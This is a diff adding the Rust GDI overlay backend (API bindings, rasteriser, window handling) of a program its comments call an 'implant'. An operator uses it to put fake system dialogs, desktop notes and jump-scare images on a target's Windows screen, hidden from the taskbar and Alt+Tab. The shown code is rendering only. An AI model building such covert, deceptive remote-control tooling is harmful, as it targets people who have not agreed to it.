pub fn SelectObject(dc: HDC, object: HGDIOBJ) -> HGDIOBJ;
|
||||
pub fn DeleteObject(object: HGDIOBJ) -> BOOL;
|
||||
pub fn CreateDIBSection(
|
||||
dc: HDC,
|
||||
info: *const BITMAPINFO,
|
||||
usage: UINT,
|
||||
bits: *mut *mut c_void,
|
||||
section: HANDLE_SECTION,
|
||||
offset: DWORD,
|
||||
) -> HBITMAP;
|
||||
pub fn CreateFontW(
|
||||
height: i32,
|
||||
width: i32,
|
||||
escapement: i32,
|
||||
orientation: i32,
|
||||
weight: i32,
|
||||
italic: u32,
|
||||
underline: u32,
|
||||
strike_out: u32,
|
||||
charset: u32,
|
||||
output: u32,
|
||||
clip: u32,
|
||||
quality: u32,
|
||||
pitch_and_family: u32,
|
||||
face: *const u16,
|
||||
) -> HGDIOBJ;
|
||||
pub fn GetTextExtentPoint32W(dc: HDC, text: *const u16, count: i32, size: *mut SIZE) -> BOOL;
|
||||
pub fn SetTextColor(dc: HDC, colour: COLORREF) -> COLORREF;
|
||||
pub fn SetBkMode(dc: HDC, mode: i32) -> i32;
|
||||
pub fn TextOutW(dc: HDC, x: i32, y: i32, text: *const u16, count: i32) -> BOOL;
|
||||
pub fn GetStockObject(index: i32) -> HGDIOBJ;
|
||||
}
|
||||
|
||||
#[link(name = "kernel32")]
|
||||
extern "system" {
|
||||
pub fn GetModuleHandleW(module: *const u16) -> HINSTANCE;
|
||||
}
|
||||
|
||||
/// A file-mapping handle. Only ever passed as null to `CreateDIBSection`, but
|
||||
/// it has its own type in the SDK rather than reusing `HANDLE`.
|
||||
pub type HANDLE_SECTION = *mut c_void;
|
||||
|
||||
/// Arguments for `CreateFontW`.
|
||||
///
|
||||
/// A TrueType face is requested so the fake system dialogs get the same smoothed
|
||||
/// Segoe UI the real ones use, rather than a bitmap-struck face.
|
||||
///
|
||||
/// `ANTIALIASED_QUALITY` rather than `CLEARTYPE_QUALITY`, deliberately.
|
||||
pub const DEFAULT_CHARSET: u32 = 1;
|
||||
pub const OUT_TT_PRECIS: u32 = 4;
|
||||
pub const FF_DONTCARE: u32 = 0;
|
||||
pub const ANTIALIASED_QUALITY: u32 = 4;
|
||||
pub const FW_NORMAL: i32 = 400;
|
||||
pub const FW_BOLD: i32 = 700;
|
||||
pub const DEFAULT_PITCH: u32 = 0;
|
||||
|
||||
/// `DEFAULT_GUI_FONT` stock object, restored into a memory DC before a face that
|
||||
/// is still selected into it is deleted.
|
||||
pub const DEFAULT_GUI_FONT: i32 = 17;
|
||||
374
implants/midas/src/gdi/canvas.rs
Normal file
374
implants/midas/src/gdi/canvas.rs
Normal file
@ -0,0 +1,374 @@
|
||||
//! A software rasteriser over a 32-bit DIB section.
|
||||
//!
|
||||
//! This is what stands in for egui's `Painter`. The target is the DIB's own
|
||||
//! memory rather than a copy of it, so a fill is a write through a pointer and
|
||||
//! presenting a frame costs nothing beyond the `UpdateLayeredWindow` call.
|
||||
//!
|
||||
//! Everything except text is drawn by hand. The overlays are solid fills, a
|
||||
//! progress bar, an optional bitmap and a lot of small procedural noise, for
|
||||
//! which GDI's own drawing calls are a poor fit — and more to the point, GDI
|
||||
//! cannot write a meaningful alpha channel into a 32-bit DIB, which is the whole
|
||||
//! reason this backend exists. Text is the exception; see `text.rs`.
|
||||
|
||||
use std::ffi::c_void;
|
||||
|
||||
use super::api::*;
|
||||
|
||||
/// A straight (non-premultiplied) 8-bit RGBA colour.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub struct Rgba {
|
||||
pub r: u8,
|
||||
pub g: u8,
|
||||
pub b: u8,
|
||||
pub a: u8,
|
||||
}
|
||||
|
||||
impl Rgba {
|
||||
pub const fn rgb(r: u8, g: u8, b: u8) -> Self {
|
||||
Rgba { r, g, b, a: 255 }
|
||||
}
|
||||
|
||||
pub const fn with_alpha(r: u8, g: u8, b: u8, a: u8) -> Self {
|
||||
Rgba { r, g, b, a }
|
||||
}
|
||||
}
|
||||
|
||||
/// A rectangle in pixels, top-left origin, positive extent.
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub struct Rect {
|
||||
pub x: i32,
|
||||
pub y: i32,
|
||||
pub w: i32,
|
||||
pub h: i32,
|
||||
}
|
||||
|
||||
impl Rect {
|
||||
pub fn new(x: i32, y: i32, w: i32, h: i32) -> Self {
|
||||
Rect { x, y, w, h }
|
||||
}
|
||||
|
||||
pub fn right(&self) -> i32 {
|
||||
self.x + self.w
|
||||
}
|
||||
|
||||
pub fn bottom(&self) -> i32 {
|
||||
self.y + self.h
|
||||
}
|
||||
}
|
||||
|
||||
/// How a source bitmap is mapped onto a destination rectangle.
|
||||
#[derive(Clone, Copy, PartialEq, Eq)]
|
||||
pub enum Fit {
|
||||
/// Fill the destination and crop the overflow. What a fullscreen scare wants.
|
||||
Cover,
|
||||
/// Draw at one source pixel per destination pixel. What a glyph mask wants.
|
||||
Exact,
|
||||
}
|
||||
|
||||
/// The drawing target: a DIB section, its memory DC, and a pointer to its bits.
|
||||
pub struct Canvas {
|
||||
dc: HDC,
|
||||
bitmap: HBITMAP,
|
||||
previous: HGDIOBJ,
|
||||
pub width: i32,
|
||||
pub height: i32,
|
||||
/// The DIB's own pixels, BGRA and top-down. Valid for as long as the bitmap
|
||||
/// is selected into `dc` and has not been deleted, which it is not until
|
||||
/// `release`.
|
||||
bits: *mut u8,
|
||||
}
|
||||
|
||||
impl Canvas {
|
||||
/// Allocates a canvas of the given size, or `None` if GDI refuses.
|
||||
pub fn new(width: i32, height: i32) -> Option<Canvas> {
|
||||
let width = width.max(1);
|
||||
let height = height.max(1);
|
||||
|
||||
// A null `GetDC` yields the screen DC, which is the one `UpdateLayeredWindow`
|
||||
// wants as its destination and the only one available before a window exists.
|
||||
let screen = unsafe { GetDC(std::ptr::null_mut()) };
|
||||
if screen.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let dc = unsafe { CreateCompatibleDC(screen) };
|
||||
unsafe { ReleaseDC(std::ptr::null_mut(), screen) };
|
||||
if dc.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let info = BITMAPINFO {
|
||||
bmiHeader: BITMAPINFOHEADER {
|
||||
biSize: std::mem::size_of::<BITMAPINFOHEADER>() as UINT,
|
||||
biWidth: width,
|
||||
// Negative height requests a top-down DIB, so row 0 is the top
|
||||
// of the image and no vertical flip is needed anywhere.
|
||||
biHeight: -height,
|
||||
biPlanes: 1,
|
||||
biBitCount: 32,
|
||||
biCompression: BI_RGB,
|
||||
biSizeImage: 0,
|
||||
biXPelsPerMeter: 0,
|
||||
biYPelsPerMeter: 0,
|
||||
biClrUsed: 0,
|
||||
biClrImportant: 0,
|
||||
},
|
||||
bmiColors: [0; 3],
|
||||
};
|
||||
|
||||
let mut bits: *mut c_void = std::ptr::null_mut();
|
||||
let bitmap = unsafe {
|
||||
CreateDIBSection(
|
||||
dc,
|
||||
&info,
|
||||
DIB_RGB_COLORS as UINT,
|
||||
&mut bits,
|
||||
std::ptr::null_mut(),
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
if bitmap.is_null() || bits.is_null() {
|
||||
unsafe { DeleteDC(dc) };
|
||||
return None;
|
||||
}
|
||||
|
||||
let previous = unsafe { SelectObject(dc, bitmap) };
|
||||
|
||||
Some(Canvas {
|
||||
dc,
|
||||
bitmap,
|
||||
previous,
|
||||
width,
|
||||
height,
|
||||
bits: bits as *mut u8,
|
||||
})
|
||||
}
|
||||
|
||||
/// Releases the GDI objects.
|
||||
///
|
||||
/// Each overlay window owns a canvas for its lifetime and a `HBITMAP` is a
|
||||
/// process-lifetime resource, so dropping the handle without this would leak
|
||||
/// one per overlay.
|
||||
pub fn release(&mut self) {
|
||||
unsafe {
|
||||
if !self.previous.is_null() {
|
||||
SelectObject(self.dc, self.previous);
|
||||
self.previous = std::ptr::null_mut();
|
||||
}
|
||||
if !self.bitmap.is_null() {
|
||||
DeleteObject(self.bitmap);
|
||||
self.bitmap = std::ptr::null_mut();
|
||||
}
|
||||
if !self.dc.is_null() {
|
||||
DeleteDC(self.dc);
|
||||
self.dc = std::ptr::null_mut();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn dc(&self) -> HDC {
|
||||
self.dc
|
||||
}
|
||||
|
||||
/// The raw BGRA bytes, for the text path to read back out of GDI.
|
||||
pub fn pixels(&self) -> &[u8] {
|
||||
unsafe { std::slice::from_raw_parts(self.bits, self.byte_len()) }
|
||||
}
|
||||
|
||||
fn byte_len(&self) -> usize {
|
||||
(self.width.max(0) * self.height.max(0) * 4) as usize
|
||||
}
|
||||
|
||||
/// Zeroes the surface, making the whole thing transparent.
|
||||
///
|
||||
/// Written rather than blended: a `spook` overlay repaints twenty times a
|
||||
/// second and this skips the per-pixel blend entirely.
|
||||
pub fn wipe(&mut self) {
|
||||
if !self.bits.is_null() {
|
||||
unsafe { std::ptr::write_bytes(self.bits, 0, self.byte_len()) };
|
||||
}
|
||||
}
|
||||
|
||||
/// Alpha-blends `colour` over a rectangle, clipped to the canvas.
|
||||
pub fn fill_rect(&mut self, rect: Rect, colour: Rgba) {
|
||||
if colour.a == 0 || self.bits.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let x0 = rect.x.max(0);
|
||||
let y0 = rect.y.max(0);
|
||||
let x1 = rect.right().min(self.width);
|
||||
let y1 = rect.bottom().min(self.height);
|
||||
|
||||
if x1 <= x0 || y1 <= y0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let (sr, sg, sb, sa) = premultiplied(colour);
|
||||
// What the destination keeps, since the source claims `sa` of the mix.
|
||||
let inv = 255 - sa;
|
||||
|
||||
for y in y0..y1 {
|
||||
let row = (y * self.width) as usize * 4;
|
||||
for x in x0..x1 {
|
||||
let at = row + (x as usize) * 4;
|
||||
unsafe {
|
||||
let dst = self.bits.add(at);
|
||||
let dr = *dst as u32;
|
||||
let dg = *dst.add(1) as u32;
|
||||
let db = *dst.add(2) as u32;
|
||||
let da = *dst.add(3) as u32;
|
||||
|
||||
*dst = (sr + dr * inv / 255).min(255) as u8;
|
||||
*dst.add(1) = (sg + dg * inv / 255).min(255) as u8;
|
||||
*dst.add(2) = (sb + db * inv / 255).min(255) as u8;
|
||||
*dst.add(3) = (sa + da * inv / 255).min(255) as u8;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub fn fill(&mut self, colour: Rgba) {
|
||||
self.fill_rect(Rect::new(0, 0, self.width, self.height), colour);
|
||||
}
|
||||
|
||||
/// Draws a straight-RGBA bitmap into `dst`, alpha-blended and scaled to fit.
|
||||
///
|
||||
/// Nearest-neighbour rather than bilinear. These are prank assets, a jump
|
||||
/// scare should look harsh, and a bilinear fetch per destination pixel buys
|
||||
/// nothing visible at these sizes.
|
||||
pub fn blit(
|
||||
&mut self,
|
||||
source: &[u8],
|
||||
source_w: i32,
|
||||
source_h: i32,
|
||||
dst: Rect,
|
||||
fit: Fit,
|
||||
opacity: f32,
|
||||
) {
|
||||
if source_w <= 0 || source_h <= 0 || dst.w <= 0 || dst.h <= 0 || self.bits.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let opacity = opacity.clamp(0.0, 1.0);
|
||||
if opacity <= 0.0 {
|
||||
return;
|
||||
}
|
||||
|
||||
let (scale, offset_x, offset_y) = match fit {
|
||||
Fit::Exact => (1.0, dst.x as f32, dst.y as f32),
|
||||
Fit::Cover => {
|
||||
let scale = (dst.w as f32 / source_w as f32).max(dst.h as f32 / source_h as f32);
|
||||
(
|
||||
scale,
|
||||
dst.x as f32 + (dst.w as f32 - source_w as f32 * scale) / 2.0,
|
||||
dst.y as f32 + (dst.h as f32 - source_h as f32 * scale) / 2.0,
|
||||
)
|
||||
}
|
||||
};
|
||||
|
||||
let x0 = dst.x.max(0);
|
||||
let y0 = dst.y.max(0);
|
||||
let x1 = dst.right().min(self.width);
|
||||
let y1 = dst.bottom().min(self.height);
|
||||
|
||||
if x1 <= x0 || y1 <= y0 {
|
||||
return;
|
||||
}
|
||||
|
||||
for y in y0..y1 {
|
||||
let sy = (((y as f32 - offset_y) / scale) as i32).clamp(0, source_h - 1);
|
||||
let row = (sy as usize) * (source_w as usize) * 4;
|
||||
|
||||
for x in x0..x1 {
|
||||
let sx = (((x as f32 - offset_x) / scale) as i32).clamp(0, source_w - 1);
|
||||
let index = row + (sx as usize) * 4;
|
||||
|
||||
// Straight alpha, so the source is premultiplied here and then
|
||||
// scaled by the overlay opacity in the same step.
|
||||
let alpha = ((source[index + 3] as f32 * opacity).round()).clamp(0.0, 255.0) as u32;
|
||||
if alpha == 0 {
|
||||
continue;
|
||||
}
|
||||
|
||||
let premultiply = |straight: u8| -> u32 { straight as u32 * alpha / 255 };
|
||||
let (sr, sg, sb) = (
|
||||
premultiply(source[index]),
|
||||
premultiply(source[index + 1]),
|
||||
premultiply(source[index + 2]),
|
||||
);
|
||||
let inv = 255 - alpha;
|
||||
|
||||
let at = (y as usize) * (self.width as usize) * 4 + (x as usize) * 4;
|
||||
unsafe {
|
||||
let dst_ptr = self.bits.add(at);
|
||||
let dr = *dst_ptr as u32;
|
||||
let dg = *dst_ptr.add(1) as u32;
|
||||
let db = *dst_ptr.add(2) as u32;
|
||||
let da = *dst_ptr.add(3) as u32;
|
||||
|
||||
*dst_ptr = (sr + dr * inv / 255).min(255) as u8;
|
||||
*dst_ptr.add(1) = (sg + dg * inv / 255).min(255) as u8;
|
||||
*dst_ptr.add(2) = (sb + db * inv / 255).min(255) as u8;
|
||||
*dst_ptr.add(3) = (alpha + da * inv / 255).min(255) as u8;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Hands the frame to the window manager for compositing.
|
||||
pub fn present(&self, hwnd: HWND, origin: (i32, i32)) {
|
||||
if self.dc.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let screen = unsafe { GetDC(std::ptr::null_mut()) };
|
||||
if screen.is_null() {
|
||||
return;
|
||||
}
|
||||
|
||||
let destination = POINT {
|
||||
x: origin.0,
|
||||
y: origin.1,
|
||||
};
|
||||
let size = SIZE {
|
||||
cx: self.width,
|
||||
cy: self.height,
|
||||
};
|
||||
let source = POINT { x: 0, y: 0 };
|
||||
let blend = BLENDFUNCTION {
|
||||
BlendOp: AC_SRC_OVER,
|
||||
BlendFlags: 0,
|
||||
SourceConstantAlpha: 255,
|
||||
AlphaFormat: AC_SRC_ALPHA,
|
||||
};
|
||||
|
||||
unsafe {
|
||||
UpdateLayeredWindow(
|
||||
hwnd,
|
||||
screen,
|
||||
&destination,
|
||||
&size,
|
||||
self.dc,
|
||||
&source,
|
||||
0,
|
||||
&blend,
|
||||
ULW_ALPHA,
|
||||
);
|
||||
}
|
||||
|
||||
unsafe { ReleaseDC(std::ptr::null_mut(), screen) };
|
||||
}
|
||||
}
|
||||
|
||||
/// Splits a straight colour into premultiplied components.
|
||||
fn premultiplied(colour: Rgba) -> (u32, u32, u32, u32) {
|
||||
let a = colour.a as u32;
|
||||
(
|
||||
colour.r as u32 * a / 255,
|
||||
colour.g as u32 * a / 255,
|
||||
colour.b as u32 * a / 255,
|
||||
a,
|
||||
)
|
||||
}
|
||||
471
implants/midas/src/gdi/mod.rs
Normal file
471
implants/midas/src/gdi/mod.rs
Normal file
@ -0,0 +1,471 @@
|
||||
//! The GDI overlay backend.
|
||||
//!
|
||||
//! This exists because the eframe backend cannot run everywhere. eframe needs a
|
||||
//! working OpenGL 3.2 implementation, and a target without one - a bare VM with
|
||||
//! 3D acceleration off, most obviously an RDP session - makes it fail during
|
||||
//! context creation, before the first frame, with a panic from inside glutin
|
||||
//! rather than an error anyone can read. On such a host every visual command
|
||||
//! would be dead, and so would most of the implant's point.
|
||||
//!
|
||||
//! Nothing here touches OpenGL. Each overlay is an ordinary top-level Win32
|
||||
//! window on its own thread with its own message loop, rasterised into a DIB and
|
||||
//! handed to the window manager for compositing. That is a different shape from
|
||||
//! the eframe backend - which needs a single shared event loop because winit
|
||||
//! allows only one per process - and it is the shape that works with no graphics
|
||||
//! driver at all.
|
||||
//!
|
||||
//! The trade is real and worth stating: this backend is a transcription, not a
|
||||
//! port. It draws the same layouts in the same colours with the system font, but
|
||||
//! it has no rounded corners, no subpixel layout and no GPU. On a machine where
|
||||
//! eframe does work, eframe is still preferred; see `gui::sender`.
|
||||
|
||||
mod api;
|
||||
mod canvas;
|
||||
mod paint;
|
||||
mod text;
|
||||
|
||||
use std::cell::RefCell;
|
||||
use std::mem::MaybeUninit;
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::mpsc::Receiver;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Instant, SystemTime};
|
||||
|
||||
use api::*;
|
||||
use canvas::Canvas;
|
||||
use paint::Content;
|
||||
use text::TextRenderer;
|
||||
|
||||
use crate::gui::{
|
||||
current_stop_epoch, record_host_failure, register_active, unregister_active, Active, Overlay,
|
||||
Request,
|
||||
};
|
||||
|
||||
/// The window class every overlay window is registered under.
|
||||
const CLASS_NAME: &str = "midas-overlay";
|
||||
|
||||
/// How often a still overlay redraws.
|
||||
///
|
||||
/// Nothing else repaints a topmost window, so this is only about recovering if
|
||||
/// something is drawn over it while the overlay sits at normal level - and about
|
||||
/// honouring a `stopall` promptly. Once a second is ample.
|
||||
const STILL_FRAME_MS: u32 = 500;
|
||||
|
||||
/// Fallback desktop size if the shell has not reported a usable screen.
|
||||
const FALLBACK_SCREEN: (i32, i32) = (1920, 1080);
|
||||
|
||||
thread_local! {
|
||||
/// What the window procedure needs in order to decide a timer tick means
|
||||
/// "time to go".
|
||||
///
|
||||
/// Thread-local rather than `SetWindowLongPtr`, because each window thread
|
||||
/// owns exactly one window and dispatches its own messages: the association
|
||||
/// is guaranteed by construction rather than maintained by hand. The
|
||||
/// procedure is deliberately kept free of drawing, so this never has to
|
||||
/// borrow the canvas and cannot deadlock against the loop body.
|
||||
static LIFETIME: RefCell<Option<Lifetime>> = const { RefCell::new(None) };
|
||||
}
|
||||
|
||||
struct Lifetime {
|
||||
cancel: Arc<AtomicBool>,
|
||||
deadline: Option<Instant>,
|
||||
}
|
||||
|
||||
impl Lifetime {
|
||||
fn expired(&self) -> bool {
|
||||
self.cancel.load(Ordering::SeqCst)
|
||||
|| self.deadline.is_some_and(|deadline| Instant::now() >= deadline)
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Dispatcher
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// The host thread. Blocks on the request channel for the life of the process.
|
||||
pub(crate) fn run(rx: Receiver<Request>) {
|
||||
// Without this, a 1920x1080 window on a 150% display is virtualised to
|
||||
// 1280x720 and covers three quarters of the screen. Set once per process; if
|
||||
// the eframe backend already got here first this fails harmlessly.
|
||||
unsafe { SetProcessDPIAware() };
|
||||
|
||||
let class: Vec<u16> = wide(CLASS_NAME);
|
||||
|
||||
let registered = unsafe { RegisterClassExW(&window_class(&class)) };
|
||||
if registered == 0 {
|
||||
record_host_failure("the overlay window class could not be registered".to_string());
|
||||
return;
|
||||
}
|
||||
|
||||
while let Ok(request) = rx.recv() {
|
||||
// A stop that landed between submission and this drain wins. See the
|
||||
// STOP_EPOCH note in gui/mod.rs.
|
||||
if request.epoch < current_stop_epoch() {
|
||||
continue;
|
||||
}
|
||||
|
||||
let class = class.clone();
|
||||
// Detached: each window winds itself down through its own deadline and
|
||||
// cancel token, and nothing on the check-in thread waits for it.
|
||||
let _ = std::thread::Builder::new()
|
||||
.name(format!("midas-ovl-{}", request.id))
|
||||
.spawn(move || serve(request, class));
|
||||
}
|
||||
|
||||
unsafe { UnregisterClassW(class.as_ptr(), std::ptr::null_mut()) };
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// One overlay
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/// Creates and runs a single overlay window.
|
||||
///
|
||||
/// The registry entry is cleared here rather than at the end of the window's
|
||||
/// life, so that a bug in the rasteriser cannot leave `listoverlays` reporting
|
||||
/// an overlay with no window behind it. The eframe backend has to clear its
|
||||
/// ghosts explicitly for the same reason, and this is where the equivalent
|
||||
/// guarantee lives on the GDI side.
|
||||
fn serve(request: Request, class: Vec<u16>) {
|
||||
let id = request.id;
|
||||
|
||||
let _ = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
|
||||
serve_window(request, class)
|
||||
}));
|
||||
|
||||
unregister_active(id);
|
||||
}
|
||||
|
||||
fn serve_window(request: Request, class: Vec<u16>) {
|
||||
// Every fallible step bails through here so the registry is never left
|
||||
// holding an overlay that has no window behind it.
|
||||
let fail = |reason: String| {
|
||||
crate::log::log(&format!("overlay {} failed: {reason}", request.id));
|
||||
unregister_active(request.id);
|
||||
};
|
||||
|
||||
let Some(mut text) = TextRenderer::new() else {
|
||||
fail("GDI would not allocate a drawing surface".to_string());
|
||||
return;
|
||||
};
|
||||
|
||||
let content = match prepare(&request) {
|
||||
Ok(content) => content,
|
||||
Err(e) => {
|
||||
// Paths are checked before the ack is sent, so reaching here means the
|
||||
// file became unreadable, or stopped being a decodable image, in
|
||||
// between.
|
||||
fail(e);
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
let screen = crate::gui::win::screen_size()
|
||||
.map(|(w, h)| (w as i32, h as i32))
|
||||
.unwrap_or(FALLBACK_SCREEN);
|
||||
|
||||
let geometry = content.geometry(screen, &mut text);
|
||||
|
||||
let mut ex_style = api::WS_EX_LAYERED | api::WS_EX_TOOLWINDOW | api::WS_EX_NOACTIVATE;
|
||||
if geometry.topmost {
|
||||
ex_style |= api::WS_EX_TOPMOST;
|
||||
}
|
||||
|
||||
let hwnd = unsafe {
|
||||
CreateWindowExW(
|
||||
ex_style,
|
||||
class.as_ptr(),
|
||||
std::ptr::null(),
|
||||
api::WS_POPUP,
|
||||
geometry.x,
|
||||
geometry.y,
|
||||
geometry.width.max(1),
|
||||
geometry.height.max(1),
|
||||
std::ptr::null_mut(),
|
||||
std::ptr::null_mut(),
|
||||
module_handle(),
|
||||
std::ptr::null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if hwnd.is_null() {
|
||||
fail("the overlay window could not be created".to_string());
|
||||
return;
|
||||
}
|
||||
|
||||
let Some(canvas) = Canvas::new(geometry.width, geometry.height) else {
|
||||
unsafe { DestroyWindow(hwnd) };
|
||||
fail("GDI would not allocate a drawing surface".to_string());
|
||||
return;
|
||||
};
|
||||
|
||||
let deadline = request.duration.map(|d| Instant::now() + d);
|
||||
|
||||
LIFETIME.with(|cell| {
|
||||
*cell.borrow_mut() = Some(Lifetime {
|
||||
cancel: request.cancel.clone(),
|
||||
deadline,
|
||||
})
|
||||
});
|
||||
|
||||
register_active(Active {
|
||||
id: request.id,
|
||||
label: request.kind.label(),
|
||||
born: SystemTime::now(),
|
||||
deadline,
|
||||
cancel: request.cancel,
|
||||
});
|
||||
|
||||
// The timer is the only thing that drives the message loop, so it is also the
|
||||
// only thing that will ever end this overlay or animate it. A failure here
|
||||
// means the overlay stays up until `stopall`, which is worth saying out loud
|
||||
// rather than leaving the operator to wonder.
|
||||
let cadence = if content.animated() {
|
||||
paint::SPOOK_FRAME_MS
|
||||
} else {
|
||||
STILL_FRAME_MS
|
||||
};
|
||||
|
||||
if unsafe { SetTimer(hwnd, TIMER_ID, cadence, std::ptr::null_mut()) } == 0 {
|
||||
crate::log::log(&format!(
|
||||
"overlay {}: could not start its repaint timer, it will stay up until stopall",
|
||||
request.id
|
||||
));
|
||||
}
|
||||
|
||||
let mut surface = Surface {
|
||||
canvas,
|
||||
text,
|
||||
content,
|
||||
origin: (geometry.x, geometry.y),
|
||||
started: Instant::now(),
|
||||
seed: request.id,
|
||||
};
|
||||
|
||||
// The first frame is drawn before the pump starts so the window appears at
|
||||
// once rather than up to a tick later.
|
||||
surface.draw(&hwnd);
|
||||
unsafe { ShowWindow(hwnd, SW_SHOWNOACTIVATE) };
|
||||
|
||||
loop {
|
||||
let mut message = MaybeUninit::<api::MSG>::uninit();
|
||||
let result = unsafe { GetMessageW(message.as_mut_ptr(), std::ptr::null_mut(), 0, 0) };
|
||||
|
||||
// Zero is `WM_QUIT` from the `WM_DESTROY` handler, negative is an error.
|
||||
// Either way there is no more to dispatch.
|
||||
if result <= 0 {
|
||||
break;
|
||||
}
|
||||
|
||||
let message = unsafe { message.assume_init() };
|
||||
let destroying = message.message == WM_DESTROY;
|
||||
|
||||
unsafe {
|
||||
TranslateMessage(&message);
|
||||
DispatchMessageW(&message);
|
||||
}
|
||||
|
||||
// The window is gone by the time `WM_DESTROY` returns, so there is
|
||||
// nothing left to composite into.
|
||||
if destroying {
|
||||
break;
|
||||
}
|
||||
|
||||
surface.draw(&hwnd);
|
||||
}
|
||||
|
||||
unsafe {
|
||||
KillTimer(hwnd, TIMER_ID);
|
||||
DestroyWindow(hwnd);
|
||||
}
|
||||
surface.canvas.release();
|
||||
LIFETIME.with(|cell| *cell.borrow_mut() = None);
|
||||
}
|
||||
|
||||
/// Everything one overlay window needs in order to draw itself.
|
||||
///
|
||||
/// The window owns this for its lifetime, so the canvas and the scratch surface
|
||||
/// inside the text renderer are allocated once and reused across frames.
|
||||
struct Surface {
|
||||
canvas: Canvas,
|
||||
text: TextRenderer,
|
||||
content: Content,
|
||||
/// Where the window sits, in screen coordinates.
|
||||
origin: (i32, i32),
|
||||
started: Instant,
|
||||
/// Varies the procedural overlays between overlays, so two `spook` windows
|
||||
/// are not identical.
|
||||
seed: u64,
|
||||
}
|
||||
|
||||
impl Surface {
|
||||
/// Rasterises one frame and hands it to the window manager.
|
||||
fn draw(&mut self, hwnd: &api::HWND) {
|
||||
// A still overlay is drawn once and then not again, so its elapsed time
|
||||
// is frozen at zero and an animation-based painter would show its first
|
||||
// frame forever. Nothing repaints a topmost window, so this costs
|
||||
// nothing to do honestly; a normal-level one is recovered by the
|
||||
// still-frame timer if something is drawn over it.
|
||||
let time = if self.content.animated() {
|
||||
self.started.elapsed().as_secs_f64()
|
||||
} else {
|
||||
0.0
|
||||
};
|
||||
|
||||
self.canvas.wipe();
|
||||
self.content.draw(&mut self.canvas, &mut self.text, time, self.seed);
|
||||
self.canvas.present(*hwnd, self.origin);
|
||||
}
|
||||
}
|
||||
|
||||
const TIMER_ID: usize = 1;
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Window class and procedure
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn window_class(name: &[u16]) -> api::WNDCLASSEXW {
|
||||
let instance = module_handle();
|
||||
let cursor = unsafe { LoadCursorW(std::ptr::null_mut(), api::IDC_ARROW as *const u16) };
|
||||
|
||||
api::WNDCLASSEXW {
|
||||
cbSize: std::mem::size_of::<api::WNDCLASSEXW>() as api::UINT,
|
||||
style: api::CS_HREDRAW | api::CS_VREDRAW,
|
||||
lpfnWndProc: window_procedure,
|
||||
cbClsExtra: 0,
|
||||
cbWndExtra: 0,
|
||||
hInstance: instance,
|
||||
// No icon: a fake system dialog that shows up in the taskbar or Alt+Tab
|
||||
// would give the game away, which is what `WS_EX_TOOLWINDOW` prevents
|
||||
// anyway.
|
||||
hIcon: std::ptr::null_mut(),
|
||||
hCursor: cursor,
|
||||
// No background brush. Every pixel is written before the window is
|
||||
// composited, and a brush would flash the window's garbage contents.
|
||||
hbrBackground: std::ptr::null_mut(),
|
||||
lpszMenuName: std::ptr::null(),
|
||||
lpszClassName: name.as_ptr(),
|
||||
hIconSm: std::ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
|
||||
/// Handles only what the window needs. Everything else is left to Windows.
|
||||
///
|
||||
/// Notably there is no `WM_NCHITTEST` case: a layered window is hit-tested
|
||||
/// against its own alpha, so a `desktopnote` that is only opaque where its
|
||||
/// shadow and glyphs are already click-through, with no extra code.
|
||||
unsafe extern "system" fn window_procedure(
|
||||
hwnd: api::HWND,
|
||||
message: api::UINT,
|
||||
wparam: api::WPARAM,
|
||||
lparam: api::LPARAM,
|
||||
) -> api::LRESULT {
|
||||
match message {
|
||||
api::WM_TIMER => {
|
||||
let expired =
|
||||
LIFETIME.with(|cell| cell.borrow().as_ref().is_none_or(Lifetime::expired));
|
||||
if expired {
|
||||
DestroyWindow(hwnd);
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
// A layered window composites itself, so this should never arrive. If it
|
||||
// does, the window manager wants the region marked valid or it will keep
|
||||
// sending the message.
|
||||
api::WM_PAINT => {
|
||||
let mut paint = MaybeUninit::<api::PAINTSTRUCT>::uninit();
|
||||
let dc = BeginPaint(hwnd, paint.as_mut_ptr());
|
||||
if !dc.is_null() {
|
||||
EndPaint(hwnd, paint.as_mut_ptr());
|
||||
}
|
||||
0
|
||||
}
|
||||
|
||||
api::WM_DESTROY => {
|
||||
PostQuitMessage(0);
|
||||
0
|
||||
}
|
||||
|
||||
_ => DefWindowProcW(hwnd, message, wparam, lparam),
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Preparation
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
fn prepare(request: &Request) -> Result<Content, String> {
|
||||
match &request.kind {
|
||||
Overlay::Image {
|
||||
path,
|
||||
mode,
|
||||
topmost,
|
||||
} => {
|
||||
let (pixels, width, height) = paint::load_image(path)?;
|
||||
Ok(Content::Image {
|
||||
pixels,
|
||||
width,
|
||||
height,
|
||||
mode: mode.clone(),
|
||||
topmost: *topmost,
|
||||
})
|
||||
}
|
||||
|
||||
// A scare is just a fullscreen image; the sound half is played by the
|
||||
// command layer so this side stays purely visual.
|
||||
Overlay::Scare { path } => {
|
||||
let (pixels, width, height) = paint::load_image(path)?;
|
||||
Ok(Content::Image {
|
||||
pixels,
|
||||
width,
|
||||
height,
|
